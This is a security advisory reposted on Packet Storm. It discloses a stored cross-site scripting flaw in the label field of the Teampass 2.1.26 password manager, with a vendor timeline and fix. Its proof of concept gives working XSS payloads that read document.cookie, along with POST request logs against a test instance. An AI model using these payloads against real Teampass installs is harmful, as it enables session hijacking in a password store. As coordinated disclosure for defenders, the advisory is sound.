exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Teampass 2.1.26 Cross Site Scripting

Teampass 2.1.26 Cross Site Scripting
Posted May 25, 2015
Authored by Vulnerability Laboratory, Peter Kok | Site vulnerability-lab.com

Teampass version 2.1.26 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7a4a201a6f5ceb663b5f93b79a6632b544d658066bdff50e85aeb362619b26bb

Teampass 2.1.26 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Teampass v2.1.26 - Stored Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1845


Release Date:
=============
2016-05-24


Vulnerability Laboratory ID (VL-ID):
====================================
1845


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords
access depending on the user’s role.

(Copy of the Homepage: http://teampass.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side cross site scripting vulnerability in the Teampass v2.1.25/26 application.


Vulnerability Disclosure Timeline:
==================================
2016-05-17: Researcher Notification & Coordination (Peter Kok)
2016-05-18 Vendor Notification (Teampass Security Team)
2016-05-18: Vendor Response/Feedback (Teampass Security Team)
2016-05-23: Vendor Fix/Patch (Teampass Developer Team)
2016-05-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25

Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.26


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered in the official Teampass v2.1.26 web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module or function.

Teampass allows authenticated users to create items to store usernames, passwords, descriptions, files and more. When creating or editing an
item the very first field, the label field, is vulnerable to iframe injection and XSS insertion. The iframe or cross site scripting will be
executed as soon as a user opens a folder. The attack vector is persistent and the request method to inject is POST.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Function(s):
[+] Add or Edit (Label)

Vulnerable Parameter(s):
[+] label name

Affected Module(s):
[+] Item Listing


Proof of Concept (PoC):
=======================
The persistent cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create or edit an item
2. Change the first label name field to a script code payload
Note: Vulnerability Lab"><iframe SRC="http://www.vulnerability-lab.com/" onload=alert(document.cookie)<></iframe> or <svg/onload=alert(document.cookie)>
3. The execute occurs in the main label field output context value
4. Successful reproduce of the application-side vulnerability!


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://teampass.localhost:8080/index.php/pwd/aj_edit_save/73
Mime Type[application/json]
Request Header:
Host[teampass.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0]
Accept[application/json, text/javascript, */*; q=0.01]
X-Requested-With[XMLHttpRequest]
Referer[http://teampass.localhost:8080/index.php/pwd/view/73]
Cookie[__utma=66503851.473320856.1464166381.1464166381.1464166381.1; PHPSESSID=s9iq39avpg0k5vjc896p0m5tb6]
Connection[keep-alive]
POST-Daten:
cproject_id[23]
password_id[73]
name[Dans+Linux+user+%22%3E%3C[SCIRPT CODE PAYLOAD INJECT VIA NAME LABEL!]%3E]
tags[]
hidden-tags[]
access_info[]
faketextdonotautofill1[]
username[dan]
faketextdonotautofill2[]
email[]
fakepwddonotautofill1[]
password[hello]
password_visible[hello]
fakepwddonotautofill2[]
repeat_password[hello]
repeat_password_visible[hello]
expiry_date_edit[]
notes[]
Response Header:
Date[Wed, 25 May 2016 08:53:48 GMT]
Server[Apache]
X-Powered-By[PHP/5.4.4-14+deb7u8]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Content-Length[74]
Keep-Alive[timeout=5, max=99]
Connection[Keep-Alive]
Content-Type[application/json; charset=utf-8]
-
Status: 200[OK]
GET http://teampass.localhost:8080/index.php/checkss/n/pwd
Mime Type[text/html]
Request Header:
Host[teampass.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0]
Accept[text/html, */*; q=0.01]
X-Requested-With[XMLHttpRequest]
Referer[http://teampass.localhost:8080/index.php/pwd/view/73]
Cookie[__utma=66503851.473320856.1464166381.1464166381.1464166381.1; __utmb=66503851.1.10.1464166381; PHPSESSID=s9iq39avpg0k5vjc896p0m5tb6]
Connection[keep-alive]
Response Header:
Date[Wed, 25 May 2016 08:53:49 GMT]
Server[Apache]
X-Powered-By[PHP/5.4.4-14+deb7u8]
Connection[Keep-Alive]
Content-Type[text/html]


Reference(s):
http://teampass.localhost:8080/
http://teampass.localhost:8080/index.php/
http://teampass.localhost:8080/index.php/pwd/
http://teampass.localhost:8080/index.php/checkss/
http://teampass.localhost:8080/index.php/checkss/n/
http://teampass.localhost:8080/index.php/checkss/n/pwd
http://teampass.localhost:8080/index.php/pwd/aj_edit_save/
http://teampass.localhost:8080/index.php/pwd/aj_edit_save/73


Security Risk:
==============
The security risk of the application-side cross site scripting vulnerability in the teampass application is estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™




--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

September 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    2 Files
  • 2
    Sep 2nd
    21 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    17 Files
  • 5
    Sep 5th
    34 Files
  • 6
    Sep 6th
    29 Files
  • 7
    Sep 7th
    11 Files
  • 8
    Sep 8th
    25 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    26 Files
  • 12
    Sep 12th
    23 Files
  • 13
    Sep 13th
    17 Files
  • 14
    Sep 14th
    22 Files
  • 15
    Sep 15th
    16 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    19 Files
  • 19
    Sep 19th
    60 Files
  • 20
    Sep 20th
    23 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    8 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    17 Files
  • 26
    Sep 26th
    3 Files
  • 27
    Sep 27th
    13 Files
  • 28
    Sep 28th
    5 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close